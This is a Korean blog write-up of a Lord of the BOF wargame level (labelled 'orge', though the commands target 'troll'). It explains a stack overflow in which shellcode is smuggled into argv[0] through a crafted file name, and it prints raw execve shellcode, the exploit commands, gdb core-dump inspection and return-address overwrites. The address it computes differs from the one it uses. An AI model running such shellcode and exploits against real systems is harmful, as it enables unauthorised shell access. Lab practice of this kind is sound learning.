티스토리 뷰

포너블/LOB

LOB orge 풀이

삼전동해커 2020. 8. 25. 15:13

orge를 풀어보장.

어려웡...

혼자풀기에는 어려워서 풀이를 봤다.

풀이보면서 어떻게 푸는건지 감 잡은 다음, 블로그에 혼자 풀면서 정리해서 올렸다.



또 추가됐다.


argc, 즉 인자의 개수는 2개여야 하고, argv[1]을 0으로 초기화 해버린다.

그럼 우리는 argv[1]도 못쓰고, argv[2]도 못쓴다....

남은건 argv[0]이다.


원래는 argv[0]에 파일이름을 넣었다. ./orge처럼

근데 이번엔 ./orge 대신 ./\x~~~~ 같이 쉘코드를 넣을거다.

그럼 argv[0]의 위치를 알아낸 후 ret를 argv[0]의 위치로하면 쉘이 실행되겠지?


그럼 일단 쉘코드 이름을 가진 파일을 만들어보자.

이름은 nop sled를 타기위해 nop과 쉘코드로 구성한다.

여기서 쉘코드는 /이 없어야 한다. 왜냐하면 /이들어가면 앞뒤를 디렉토리로 인식하기 때문이다.


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


이 코드를 사용하자.

$cp troll ./tmp/`python -c 'print"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`


이렇게 복사를 해준다.


tmp 디렉토리에서 ls명령어로 확인해보면 이상한 파일이 하나있다. 있으면 잘 만든것이다.




argv[0]의 위치를 알기위해 실행해보자. 

./`python -c 'print"\x90"'`* `python -c 'print"A"*44+"\xbf\xbf\xbf\xbf"'`

이렇게 입력하면 된다. 이름의 쉘코드를 다 치기 어려우니 와일드카드를 사용하자.


하면 core dumped가 나온다.


그럼 core파일을 확인해보자.

gdb -c core하면 된다.

여기서 x/1000s $esp로 확인해보면


똑같이 이름의 위치가 보인다.

그럼 시작위치는 ./를 제외하고 2만큼 뒤인 0xbffffc3f로 생각하면 된다.

이걸 ret에 넣어 풀기 전에 심볼릭 링크를 해야한다.

[tmp]$ln -sf ~/troll `python -c 'print"\x90"'`*

이렇게 원본 troll에 심볼릭 링크를 걸어주자.



이렇게 심볼릭 링크가 걸린걸 확인할 수 있다.


이제 ret를 argv[0]의 주소로 해서 익스플로잇 해주면 된다.


./`python -c 'print"\x90"'``* `python -c 'print"\x90"+"\xdb\xfb\xff\xbf"'`




넘 어렵당.

'포너블 > LOB' 카테고리의 다른 글

LOB vampire 풀이  (0) 2020.08.26
LOB troll 풀이  (0) 2020.08.25
LOB darkelf 풀이  (0) 2020.08.25
LOB wolfman 풀이  (0) 2020.08.25
LOB orc 풀이  (0) 2020.08.25
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함